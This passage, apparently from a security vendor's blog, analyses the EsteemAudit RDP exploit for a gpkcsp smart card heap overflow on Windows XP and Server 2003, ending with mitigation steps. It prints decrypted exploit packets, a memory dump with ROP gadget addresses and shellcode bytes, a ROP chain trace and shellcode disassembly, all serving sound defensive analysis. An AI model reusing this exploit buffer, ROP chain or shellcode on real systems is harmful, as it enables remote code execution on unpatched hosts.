We can get the prototype of the RC4 function -- RC4(key, len, in, out) by simply debugging it.

esteemaudit_15

Figure 14 Libeay32!RC4 disassembly.

We can then set a breakpoint before and after the RC4 function execution to print the in and out buffers retrieve the encrypted data and decrypted data.

bu image00380000+0xab24 ".echo len;dc esp+10 L1;.echo rc4_in_buffer;dc poi(esp+8);gc"

bu image00380000+0xab39 ".echo rc4_out_buffer;dc poi(esp+0c);gc"

The decrypted buffer gives us the content of the TS_INFO_DATA of the overflow packet.

len

0178cf98  000000fc                             ....

 

encrypted

038e8d6b  0649efba dcb9b66b f63f676c a2ddcc3b  ..I.k...lg?.;...

038e8d7b  56e1fb2e c9ed4e9c bf566979 4d9e3868  ...V.N..yiV.h8.M

038e8d8b  5dffb177 af4531e2 cd87df84 18a3afff  w..].1E.........

038e8d9b  56c96e10 7dd116d9 f1db47e2 b65bba04  .n.V...}.G....[.

038e8dab  5d8892ca 324864cb 70bc4793 82be0c5b  ...].dH2.G.p[...

038e8dbb  d5737937 512ce129 21738638 ca18a61a  7ys.).,Q8.s!....

038e8dcb  58a5f061 fe8af8db f6c40f83 a975c925  a..X........%.u.

038e8ddb  7da42561 8e0a740f b10381b2 ef4f3c00  a%.}.t.......<O.

…

decrypted

038e8d6b  000000f4 00000003 49434472 00000000  ........rDCI....

038e8d7b  00000001 00000000 000000e0 00081001  ................

038e8d8b  cccccccc 000000c0 00000000 00000000  ................

038e8d9b  00000000 000000b2 00000001 000000b2  ................

038e8dab  fce3940b f2c3bad3 7134f185 b595ac48  ..........4qH...

038e8dbb  2d8186ec 56e66ee1 ca0e854f e618d890  ...-.n.VO.......

038e8dcb  fcf78fcf 6972d722 8a3307d7 e1715046  ....".ri..3.FPq.

038e8ddb  6d3184f2 7eb82735 0c1d6f4b e6a262fe  ..1m5'.~Ko...b..

 

 

Protocol details [references: [MS-RDPESC].pdf, [MS-RDPEFS].pdf, [MS-RPCE].pdf]

000000f4 ->CodePage

00000003 ->Flags

Device Control Response (DR_CONTROL_RSP)

->DeviceIoReply (16 bytes): DR_DEVICE_IOCOMPLETION

4472 ->RDPDR_CTYP_CORE 0x4472

4943 ->PAKID_CORE_DEVICE_IOCOMPLETION 0x4943

00000000 ->DeviceId (4 bytes)

00000001 ->CompletionId (4 bytes)

00000000 ->IoStatus (4 bytes)

000000e0 ->OutputBufferLength (4 bytes)

->OutputBuffer (variable)

00081001 cccccccc Type Serialization Version 1 header

000000c0 ->ObjectBufferLength (4 bytes)

00000000 ->Filler (4 bytes)

00000000 ->ReturnCode

00000000 ->dwProtocol

000000b2 ->cbRecvLength

->pbExtraBytes

00000001 000000b2

fce3940b f2c3bad3 7134f185 b595ac48

2d8186ec 56e66ee1 ca0e854f e618d890

fcf78fcf 6972d722 8a3307d7 e1715046

6d3184f2 7eb82735 0c1d6f4b e6a262fe

 

As the execution continues, we can extract the two fields from the memory dump which will trigger the buffer overflow.

The address 0x080190dc is important to note, we will introduce how it is involved in the exploit in the RDP Server section below.

Exploit Packet Analysis

When building the exploit buffer, there are many interesting fields used in the buffer, like 0x11111111, 0x22222222 and 0x7ffe0300.

esteemaudit_16

Figure 15 The build_exploit_x86 function assmploying the exploit buffer.

esteemaudit_17

Figure 16 The exploit buffer in a live pcap.

We can extract the data for the exploit buffer the same way we did for the overflow buffer.

encrypted

038e9d83  0d76b81e 51331ed0 b3b4b29d ba4a1aaa  ..v...3Q......J.

038e9d93  ad0b26e1 c15daa1e 20079871 a18afe91  .&....].q.. ....

038e9da3  46d26828 a8883de7 8b54718e 33ebf243  (h.F.=...qT.C..3

038e9db3  9d3d556b f8a4f6f8 4a29500c 5d06bd19  kU=......P)J...]

038e9dc3  e6099604 4bc7dc66 92103b5e 6da27faa  ....f..K^;.....m

038e9dd3  07420e27 c95b5664 79d50284 f7bbd1d3  '.B.dV[....y....

038e9de3  79c389e1 f795e1cf bcb35b4d 69d0ef0c  ...y....M[.....i

038e9df3  92beeadf 9010b061 763848d5 bc032358  ....a....H8vX#..

…

 

Decrypted

038e9d83  00000204 00000003 49434472 00000000  ........rDCI....

038e9d93  00000001 00000000 000001f0 00081001  ................

038e9da3  cccccccc 000001d0 00000000 00000000  ................

038e9db3  00000000 000001c0 00000001 000001c0  ................

038e9dc3  ada0d86e 08011e7a 0801118e 08005e85  n...z........^..

038e9dd3  0800bedd 11111111 2a6bd248 972dc73e  ........H.k*>.-.

038e9de3  00000000 6431e6f0 08011fef 08019078  ......1d....x...

038e9df3  abc45491 22222222 00000000 316f482f  .T..""""..../Ho1

…

The exploit buffer packet is also a Device Control Response (DR_CONTROL_RSP) with the kind set to DR_DEVICE_IOCOMPLETION (0x49434472). This is the same as the overflow buffer described earlier.

The final two packets of the first stage are the Select_MF and End Response messages, respectively. We only show the decrypted data here.

len

0178cf98  0000004c                             L...

 

plain

038ead9b  00000044 00000003 49434472 00000000  D.......rDCI....

038eadab  00000001 00000000 00000030 00081001  ........0.......

038eadbb  cccccccc 00000010 00000000 00000000  ................

038eadcb  00000000 00000002 00000001 00000002  ................

038eaddb  00000090 00000000 00000000

 

 

The length of pExtraBytes is two. Two two extra bytes “90 00” will be processed by smart card module on the Server.

The length of pExtraBytes is 0, it is just an end response. This completes the traffic from EsteemAudit, next we’ll go into how the server processes this data.

RDP Server

With the details on what the client send to the server and the protocol in the encrypted packet out of the way, we can start looking at how the server processes the packet and where the vulnerability is exploited.

Kernel Layer

As described in the Architecture and Component section, we know that the kernel component is responsible for receiving the RDP data. We need to identify the data entry point function that handles the RAW data sent from the client to the server.

Look at the two stack traces below. It directly shows the execution flows when a DEVICE_IO packet arrives. Termdd is the core dispatcher, RDPWD is responsible for MCS stack ad we can get the raw data sent by client from RDPWD!MCSIcaRawInput. The next several functions parsed data layer by layer according to the RDP protocol described earlier.

kd> k

# ChildEBP RetAddr

00 baf3b32c f6e134ef rdpdr!DrExchangeManager::RecognizePacket+0x8

01 baf3b350 f6e12e34 rdpdr!DrSession::ReadCompletion+0x95

02 baf3b368 8081d741 rdpdr!DrSession::ReadCompletionRoutine+0x38

03 baf3b398 f76895d8 nt!IopfCompleteRequest+0xcd

04 baf3b3d4 f768a0d2 termdd!IcaChannelInputInternal+0x1f0

05 baf3b3fc ba1a26e1 termdd!IcaChannelInput+0x3c

06 baf3b430 ba19c3c1 RDPWD!WDW_OnDataReceived+0x181

07 baf3b458 ba19c1b9 RDPWD!SM_MCSSendDataCallback+0x159

08 baf3b4c0 ba19bfe0 RDPWD!HandleAllSendDataPDUs+0x155

09 baf3b4dc ba1b9ba4 RDPWD!RecognizeMCSFrame+0x32

0a baf3b504 ba19b06b RDPWD!MCSIcaRawInputWorker+0x346

0b baf3b52c f768d194 RDPWD!MCSIcaRawInput+0x65

0c baf3b550 baa92fcb termdd!IcaRawInput+0x58

0d baf3bd90 f768c265 TDTCP!TdInputThread+0x371

0e baf3bdac 809418f4 termdd!_IcaDriverThread+0x4d

0f baf3bddc 80887f4a nt!PspSystemThreadStartup+0x2e

10 00000000 00000000 nt!KiThreadStartup+0x16

 

kd> k

# ChildEBP RetAddr

00 f5a8b254 f6e14f22 rdpdr!RxLowIoCompletion+0x3a

01 f5a8b260 f6e15291 rdpdr!DrDevice::CompleteRxContext+0x2a

02 f5a8b284 f6e158b0 rdpdr!DrDevice::CompleteBusyExchange+0x4d

03 f5a8b2cc f6e164b2 rdpdr!DrDevice::OnDeviceControlCompletion+0x116

04 f5a8b2f0 f6e1269d rdpdr!DrDevice::OnDeviceIoCompletion+0x1ee

05 f5a8b310 f6e1285a rdpdr!DrExchangeManager::OnDeviceIoCompletion+0x55

06 f5a8b324 f6e1351f rdpdr!DrExchangeManager::HandlePacket+0x26

07 f5a8b350 f6e12e34 rdpdr!DrSession::ReadCompletion+0xc5

08 f5a8b368 8081d741 rdpdr!DrSession::ReadCompletionRoutine+0x38

09 f5a8b398 f76c95d8 nt!IopfCompleteRequest+0xcd

0a f5a8b3d4 f76ca0d2 termdd!IcaChannelInputInternal+0x1f0

0b f5a8b3fc f53856e1 termdd!IcaChannelInput+0x3c

0c f5a8b430 f537f3c1 RDPWD!WDW_OnDataReceived+0x181

0d f5a8b458 f537f1b9 RDPWD!SM_MCSSendDataCallback+0x159

0e f5a8b4c0 f537efe0 RDPWD!HandleAllSendDataPDUs+0x155

0f f5a8b4dc f539cba4 RDPWD!RecognizeMCSFrame+0x32

10 f5a8b504 f537e06b RDPWD!MCSIcaRawInputWorker+0x346

11 f5a8b52c f76cd194 RDPWD!MCSIcaRawInput+0x65

12 f5a8b550 f55b2fcb termdd!IcaRawInput+0x58

13 f5a8bd90 f76cc265 TDTCP!TdInputThread+0x371

14 f5a8bdac 809418f4 termdd!_IcaDriverThread+0x4d

15 f5a8bddc 80887f4a nt!PspSystemThreadStartup+0x2e

16 00000000 00000000 nt!KiThreadStartup+0x16

We can see the content of srcBuf through the comment from IDA pro when RDPWD!MCSIcaRawInputWorker call RDPWD!RecognizeMCSFrame.

esteemaudit_18

Figure 17 Content of srcBuf

We can also see how RDPWD!RecognizeMCSFrame decodes PER.

esteemaudit_19

Figure 18 RDPWD!RecognizeMCSFrame decodes PER-encoded MCS Domain PDU

After parsing the MCS stack, RDPWD will parse the TS_DATA_INFO part. The data in TS_DATA_INFO is encrypted so the SM_MCSSendDataCallback function calls SMDecryptPacket-> DecryptData->rc4 to decrypt the data first.

esteemaudit_20

Figure 19 Decrypting the TS_DATA_INFO data

For those who want to recreated this, you can also set breakpoint in RDPWD!rc4 function which is a similar implementation with libeay32 like we did in the client to see encrypted and decrypted data on the server.

Next, the SM_MCSSendDataCallback function calls WDW_OnDataReceived will handle the decrypted data.

esteemaudit_21

Figure 20 WDW_OnDataReceived Function Call

After this, the function calls termdd!IcaChannelInput to dispatch decrypted data to different channels. In this example, the buffer overflow packet sent by EsteemAudit is the Device IO packet which is a part of File System Virtual Channel Extension and will be parsed by RDPDR module.

We can find the DR_DEVICE_IOCOMPLETION [MS-RDPEFS.pdf] header in the decrypted buffer overflow packet.

000000f4 ->CodePage

00000003 ->Flags

Device Control Response (DR_CONTROL_RSP)

->DeviceIoReply (16 bytes): DR_DEVICE_IOCOMPLETION

4472 ->RDPDR_CTYP_CORE 0x4472

4943 ->PAKID_CORE_DEVICE_IOCOMPLETION 0x4943

In RDPDR module, we can see there is vtable call to recognize the packet and then handle the packet.

esteemaudit_22

Figure 21 RDPDR Module Handling the packet

If the server receives a packet marked as RDPDR_HEADER, RecognizePacket with the appropriate class is called.

esteemaudit_23

Figure 22 RecognizePacket called for RDPDR_HEADER

The buffer overflow and exploit packets sent by EsteemAudit have the 0x49434472 flag set. 0x4472 is used for the Device redirector core component and 0x4943 is used for Device I/O response.

esteemaudit_24

esteemaudit_25

Figure 23 Packet Type Flags from [MS-RDPESP]

After recognizing the packet type, rdpdr!DrSession::ReadCompletion calls HandlePacket to parse the packet. We can see OnDeviceControlCompletion will deal with the header.

esteemaudit_26

Figure 24 Continued Parsing of the RDP Packet

After handling the packet, we can see rdpdr!DrDevice::CompleteRxContext be notified via I/O that we have processed the packet and we can exchange the context. Other modules are also notified and continue to process the left part of the packet, here is pbExtraBytes buffer.

esteemaudit_27

Figure 25 CompleteRxContext Notified of the Processed Packet

User Land Layer

In user land, winlogon.exe calls the smart card modules, like gpkcsp, scredir, and winscard to communicate with the client.

First, we can investigate the stack trace below. It is a stack trace of copying the pbExtraBytes sent by the client from the kernel to the user land. We see the data sent by client flow into the user land on the server.

0:003> k

ChildEBP RetAddr

00fce058 5cd45619 scredir!_CopyReturnToCallerBuffer

00fce104 723642b0 scredir!SCardTransmit+0x194

00fce180 08005c32 WinSCard!SCardTransmit+0x76

00fce1b0 0800921d gpkcsp!DoSCardTransmit+0x3d

00fce41c 0800e2dd gpkcsp!WriteTimestamps+0x679

00fcf39c 08004acb gpkcsp!MyCPAcquireContext+0x817

00fcf708 77f50909 gpkcsp!CPAcquireContext+0x26e

00fcf7cc 77f50a5f ADVAPI32!CryptAcquireContextA+0x55f

00fcf834 0103fd78 ADVAPI32!CryptAcquireContextW+0xa4

00fcf864 0104086c winlogon!CSCLogonInit::CryptCtx+0x75

00fcf874 010408c1 winlogon!CSCLogonInit::RelinquishCryptCtx+0x10

00fcf898 0103a8f5 winlogon!ScHelperGetCertFromLogonInfo+0x22

00fcf8bc 77c50193 winlogon!s_RPC_ScHelperGetCertFromLogonInfo+0x3f

00fcf8e0 77cb33e1 RPCRT4!Invoke+0x30

00fcfce0 77cb35c4 RPCRT4!NdrStubCall2+0x299

00fcfcfc 77c4ff7a RPCRT4!NdrServerCall2+0x19

00fcfd30 77c7e732 RPCRT4!DispatchToStubInCNoAvrf+0x38

00fcfd48 77c5042d RPCRT4!DispatchToStubInCAvrf+0x14

00fcfd9c 77c50353 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x11f

00fcfdc0 77c511dc RPCRT4!RPC_INTERFACE::DispatchToStub+0xa3

00fcfdfc 77c512f0 RPCRT4!LRPC_SCALL::DealWithRequestMessage+0x42c

00fcfe20 77c58678 RPCRT4!LRPC_ADDRESS::DealWithLRPCRequest+0x127

00fcff84 77c58792 RPCRT4!LRPC_ADDRESS::ReceiveLotsaCalls+0x430

00fcff8c 77c5872d RPCRT4!RecvLotsaCallsWrapper+0xd

00fcffac 77c4b110 RPCRT4!BaseCachedThreadRoutine+0x9d

00fcffb8 7c824829 RPCRT4!ThreadStartRoutine+0x1b

WARNING: Stack unwind information not available. Following frames may be wrong.

00fcffec 00000000 kernel32!GetModuleHandleA+0xdf

The most important function in user land on the server is gpkcsp!MyCPAcquireContext. It is responsible for sending, receiving and processing smart card packets, and it corresponds to the RecvProcessSendPackets function of EsteemAudit.

Before we start introduce this function, let’s look at scredir!SCardTransmit. This function is called by gpkcsp!DoSCardTransmit and it is a basic unit for sending and receiving the smart card information.

esteemaudit_28

Figure 26 scredir!SCardTransmit Function

We that the 1st argument to _SendSCardIOCTL, 0x900d0, represents SCARD_IOCTL_TRANSMIT, and the data structure of the send and receive buffer fallows _Transmit_Call and _Transmit_Return structure described earlier. After getting the data from the kernel, Transmit_Return_Decode will decode and process the data. Pay attention to scredir!_CopyReturnToCallerBuffer function, it will copy the data sent by client to a global variable 0x080190d8 in data section. This means that the data in buffer overflow packet and in exploit packet will be copied to the address 0x080190d8. That’s why an absolute address 0x080190dc is hardcoded in buffer overflow packet.

esteemaudit_29

25_2

 

Figure 27 Data from the Overflow and Exploit Packets are copied to 0x080190d8.

Now we can introduce the gpkcsp!MyCPAcquireContext function and the whole exploit process. The details for SCardEstablishContext and ConnectToCard are not shown here, but we will introduce what happened when the data in buffer overflow packet arrived.

esteemaudit_31

Figure 28 gpkcsp!MyCPAcquireContext Function

There is global variable named ProvCont which stores a 0x24a8 sized heap address.

0:003> dc gpkcsp!ProvCont (08176dd8)

08176dd8  02cdcb58                             X...

 

0:003> !heap -p -a 0x2cdcb58

address 02cdcb58 found in

_DPH_HEAP_ROOT @ 3a1000

in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)

3a3c80:          2cdcb58             24a8 -          2cdc000             4000

7c96d97a ntdll!RtlAllocateHeap+0x00000e9f

77b8d08c msvcrt!malloc+0x0000006c

08012599 gpkcsp!GMEM_Alloc+0x0000000e

0800a937 gpkcsp!DllMain+0x00000090

080120fc gpkcsp!_DllMainCRTStartup+0x00000052

7c94a352 ntdll!LdrpCallInitRoutine+0x00000014

7c963465 ntdll!LdrpRunInitializeRoutines+0x00000367

7c964311 ntdll!LdrpLoadDll+0x000003cd

7c964065 ntdll!LdrLoadDll+0x00000198

7c801bf3 kernel32!LoadLibraryExW+0x000001b2

7c801dbd kernel32!LoadLibraryExA+0x0000001f

7c801df3 kernel32!LoadLibraryA+0x000000b5

77f42fef ADVAPI32!CryptAcquireContextA+0x0000045c

77f50a5f ADVAPI32!CryptAcquireContextW+0x000000a4

0103fd78 winlogon!CSCLogonInit::CryptCtx+0x00000075

0104086c winlogon!CSCLogonInit::RelinquishCryptCtx+0x00000010

010408c1 winlogon!ScHelperGetCertFromLogonInfo+0x00000022

0103a8f5 winlogon!s_RPC_ScHelperGetCertFromLogonInfo+0x0000003f

77c50193 RPCRT4!Invoke+0x00000030

77cb33e1 RPCRT4!NdrStubCall2+0x00000299

77cb35c4 RPCRT4!NdrServerCall2+0x00000019

77c4ff7a RPCRT4!DispatchToStubInCNoAvrf+0x00000038

77c7e732 RPCRT4!DispatchToStubInCAvrf+0x00000014

77c5042d RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x0000011f

77c50353 RPCRT4!RPC_INTERFACE::DispatchToStub+0x000000a3

77c511dc RPCRT4!LRPC_SCALL::DealWithRequestMessage+0x0000042c

77c512f0 RPCRT4!LRPC_ADDRESS::DealWithLRPCRequest+0x00000127

77c58678 RPCRT4!LRPC_ADDRESS::ReceiveLotsaCalls+0x00000430

77c58792 RPCRT4!RecvLotsaCallsWrapper+0x0000000d

77c5872d RPCRT4!BaseCachedThreadRoutine+0x0000009d

77c4b110 RPCRT4!ThreadStartRoutine+0x0000001b

7c824829 kernel32!BaseThreadStart+0x00000034

 

Figure 29 below graphically shows the data structure of gpkcsp!ProvCont.

esteemaudit_32

Figure 30 Graphical Depiction of the gpkcsp!ProvCont data structure.

After calling DoSCardTransmit to deal with buffer overflow packet and store the data in 0x080190d8, MyCPAcquireContext initialize the KeyData memory (0x80) and copies the data at 0x080190dd with the size in the data sent by client (0xb2-7) to the KeyData memory.

esteemaudit_33

Figure 31 MyCPAcquireContext Initializes data structure and copies data, causing the overflow

Figure 32 below shows how memory is overwritten causing the heap overflow.

esteemaudit_34

Figure 32 Graphical Depiction of the Heap Overflow

The debug log shows where KeyObject object overflows.

0:003> dc 02cdcb58+a0+b8-20

02cdcc90  b7314210 544f2b0f 34059cf0 ead224e5  .B1..+OT...4.$..

02cdcca0  22ef2496 b2dcb268 9c36556f 159e7181  .$."h...oU6..q..

02cdccb0  080190dc 00009000 70e2a252 b67b7cc7  ........R..p.|{.

02cdccc0  62937b2c afe0bbbd 93606931 dcdba152  ,{.b....1i`.R...

02cdccd0  00cd84d1 00000000 00000000 00000000  ................

02cdcce0  00000000 00000000 00000000 00000000  ................

02cdccf0  00000000 00000000 00000000 00000000  ................

02cdcd00  00000000 00000000 00000000 00000000  ................

After KeyObject overflows, we can see how gpkcsp!MyCPAcquireContext deals with the next packets and how the EIP was controlled.

esteemaudit_35

Figure 33 gpkcsp!MyCPAcquireContext handles the subsequent packets

We note that the unsymbolized function sub_8009094 calls DoSCardTransmit and copies expbuffer to 0x080x90d8, which is an always fix address to store any data sent by client without ASLR (Address Space Layout Randomization) on Windows Server 2003.

0:003> dc 080190d8 L1c0/4

080190d8  d26ccf61 08011e7a 0801118e 08005e85  a.l.z........^..

080190e8  0800bedd 11111111 9d273fbe e636c0ea  .........?'...6.

080190f8  00000000 b02838fd 08011fef 08019078  .....8(.....x...

08019108  3005123c 22222222 00000000 f7a1d915  <..0""""........

08019118  00004000 080128cc 0000008f 7ffe0300  .@...(..........

08019128  08015074 08019148 08019118 ffffffff  tP..H...........

08019138  08019130 08019118 00000040 08019130  0.......@...0...

08019148  8b6404b0 06002d00 c4890000 00e8c689  ..d..-..........

08019158  90000000 d5858b5d 89000000 858b0446  ....].......F...

08019168  000000d9 310c4689 104689c0 8b144689  .....F.1..F..F..

08019178  0000dd85 8b008b00 0000bc80 18468900  ..............F.

08019188  00e1858b 008b0000 8b1c4689 0000e585  .........F......

08019198  89008b00 468b2046 2846890c 4689c031  ....F .F..F(1..F

080191a8  00b5e82c c0850000 468b6675 0846892c  ,.......uf.F,.F.

080191b8  2b0c468b 89501046 468b50e0 10460308  .F.+F.P..P.F..F.

080191c8  50c03150 ff1476ff 76ff0476 1876ff20  P1.P.v..v..v .v.

080191d8  591c56ff 8b144689 c8011046 8b104689  .V.Y.F..F....F..

080191e8  46890846 10468b24 00d9853b c07c0000  F..F$.F.;.....|.

080191f8  4689c031 244e8b10 0189c889 0471ff51  1..F..N$....Q.q.

08019208  c083c889 d0ff5014 03ebc031 5048c031  .....P..1...1.HP

08019218  852c468b 8b0e74c0 58e81058 85000000  .F,..t..X..X....

08019228  ff0274db c3e431d3 080192d8 00006346  .t...1......Fc..

08019238  08176dd8 0800119c 080011cc 000012b8  .m..............

08019248  24548d00 c22ecd04 18c20018 0057b800  ..T$..........W.

08019258  548d0000 2ecd0424 6a0010c2 30006840  ...T$......j@h.0

08019268  468d0000 c0315028 2c468d50 48c03150  ...F(P1.P.F,P1.H

08019278  ffc6e850 68c3ffff 00008000 5028468d  P......h.....F(P

08019288  502c468d 5048c031 ffffc0e8 6578c3ff  .F,P1.HP......xe

 

After the exploit buffer is ready, gpkcsp!MyCPAcquireContext processes the ReleaseProvider path.

esteemaudit_36

Figure 34 gpkcsp!MyCPAcquireContext processes the ReleaseProvider path

This will trigger the C++ class vtable call KeyObject->release in the CryptDestroyKey function.

esteemaudit_37

Figure 35 Object is released in the CryptDestroyKey function

The log below show the process from controlling EIP to shellcode execution. The exploit uses the SharedUserData technique to call KiFastSystemCall to execute VirtualProtect and make the memory 0x080180d8 writable and executable, and to execute the shellcode at address 0x08019148. At this point the exploit has completed the first stage.

 

0:011> g 08007c2b

eax=080190dc ebx=77f3f5b0 ecx=02cdaff8 edx=00000000 esi=000000b8 edi=00000000

eip=08007c2b esp=02dfe40c ebp=02dfe420 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!ReleaseProvider+0xef:

08007c2b ffd3            call    ebx {ADVAPI32!CryptDestroyKey (77f3f5b0)}

 

0:011>

eax=00000001 ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078

eip=77f3f615 esp=02dfe3c0 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

ADVAPI32!CryptDestroyKey+0x6e:

77f3f615 ff5608          call    dword ptr [esi+8]    ds:0023:080190e4=08005e85

0:011> t

eax=00000001 ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078

eip=08005e85 esp=02dfe3bc ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!GetAppWindow+0x1c:

08005e85 8bc6            mov     eax,esi

0:011>

eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078

eip=08005e87 esp=02dfe3bc ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!GetAppWindow+0x1e:

08005e87 5e              pop     esi

0:011>

eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08005e88 esp=02dfe3c0 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!GetAppWindow+0x1f:

08005e88 c3              ret

0:011> t

eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=0800bedd esp=02dfe3c4 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!funcCheck+0x129:

0800bedd 94              xchg    eax,esp

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=0800bede esp=080190dc ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!funcCheck+0x12a:

0800bede c3              ret

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08011e7a esp=080190e0 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!MyCPSignHash+0x3ac:

08011e7a c21c00          ret     1Ch

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=0801118e esp=08019100 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!MyCPImportKey+0xac3:

0801118e c21800          ret     18h

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08011fef esp=0801911c ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!__report_gsfailure+0xdf:

08011fef c3              ret

0:011> t

eax=02dfe3c4 ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=080128cc esp=08019120 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!CC_Exit+0x4f:

080128cc 58              pop     eax

0:011> t

eax=0000008f ebx=00000001 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=080128cd esp=08019124 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!CC_Exit+0x50:

080128cd 5b              pop     ebx

0:011> t

eax=0000008f ebx=7ffe0300 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=080128ce esp=08019128 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!CC_Exit+0x51:

080128ce c3              ret

0:011> t

eax=0000008f ebx=7ffe0300 ecx=77f50c75 edx=00000000 esi=77f3f618 edi=08019078

eip=08015074 esp=0801912c ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!CC_Exit+0x27f7:

08015074 ff23            jmp     dword ptr [ebx]      ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c9585e8)}

 

Shellcode start:

No prior disassembly possible

08019148 b004            mov     al,4

0801914a 648b00          mov     eax,dword ptr fs:[eax]

0801914d 2d00060000      sub     eax,600h

08019152 89c4            mov     esp,eax

08019154 89c6            mov     esi,eax

08019156 e800000000      call    gpkcsp!IsProgButtonClick+0x8f (0801915b)

0801915b 90              nop

0801915c 5d              pop     ebp

0801915d 8b85d5000000    mov     eax,dword ptr [ebp+0D5h]

08019163 894604          mov     dword ptr [esi+4],eax

08019166 8b85d9000000    mov     eax,dword ptr [ebp+0D9h]

0801916c 89460c          mov     dword ptr [esi+0Ch],eax

0801916f 31c0            xor     eax,eax

08019171 894610          mov     dword ptr [esi+10h],eax

08019174 894614          mov     dword ptr [esi+14h],eax

08019177 8b85dd000000    mov     eax,dword ptr [ebp+0DDh]

0801917d 8b00            mov     eax,dword ptr [eax]

0801917f 8b80bc000000    mov     eax,dword ptr [eax+0BCh]

08019185 894618          mov     dword ptr [esi+18h],eax

08019188 8b85e1000000    mov     eax,dword ptr [ebp+0E1h]

0801918e 8b00            mov     eax,dword ptr [eax]

08019190 89461c          mov     dword ptr [esi+1Ch],eax

08019193 8b85e5000000    mov     eax,dword ptr [ebp+0E5h]

08019199 8b00            mov     eax,dword ptr [eax]

0801919b 894620          mov     dword ptr [esi+20h],eax

0801919e 8b460c          mov     eax,dword ptr [esi+0Ch]

080191a1 894628          mov     dword ptr [esi+28h],eax

080191a4 31c0            xor     eax,eax

080191a6 89462c          mov     dword ptr [esi+2Ch],eax

080191a9 e8b5000000      call    gpkcsp!IsProgButtonClick+0x197 (08019263)

…

 

0:011> !address 08019148

Failed to map Heaps (error 80004005)

Usage:                  Image

Allocation Base:        08000000

Base Address:           08019000

End Address:            0801e000

Region Size:            00005000

Type:                   01000000    MEM_IMAGE

State:                  00001000    MEM_COMMIT

Protect:                00000040   PAGE_EXECUTE_READWRITE

More info:              lmv m gpkcsp

More info:              !lmi gpkcsp

More info:              ln 0x8019148

Detection and Mitigation

As CVE-2017-9073 only exists on Windows Server 2003 and Windows XP, both of which are no longer supported by Microsoft, users should first consider upgrading to a newer version of Windows as no official patch is available. However, as this vulnerability exists in the smart card module gpkcsp, there are potential work-arounds.

  • Disabling the smart card module through Group Policy or in the registry.
    • Do this in the registry: Set/Add key fEnableSmartCard in the path HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\ to 0 with the type of REG_DWORD.
  • Traps prevents exploitation of this vulnerability on Windows XP and Server 2003 hosts.
  • Threat Prevention Signature 32533 released in Content Update 692 detects the exploit in the NGFW.
  • Wherever possible, disable or restrict access to RDP from external sources

Conclusion

RDP is a very useful but very complex component of Windows. Based on our analysis of the EsteemAudit exploit, we find that the vulnerability itself is not obscure, but it took quite a bit of effort to write a successful exploit. Interestingly, gpkcsp choose a global variable to store the data sent by the client, it supplies a capacity of controlling the arbitrary data in already-known address in the remote server without ASLR. This is a powerful feature for exploit authors to take advantage of. In any case, EsteemAudit is a reliable and powerful RDP exploit tool for Windows XP and Windows 2003. Users should take steps to ensure their Windows XP and Windows Server 2003 are protected through one of the mitigation steps listed above. A network vulnerability like this one can be used in a “worm-able” fashion, similar to the WanaCrypt0r attacks which had global impact earlier this month.


Register for Ignite ’17 Security Conference
Vancouver, BC June 12–15, 2017

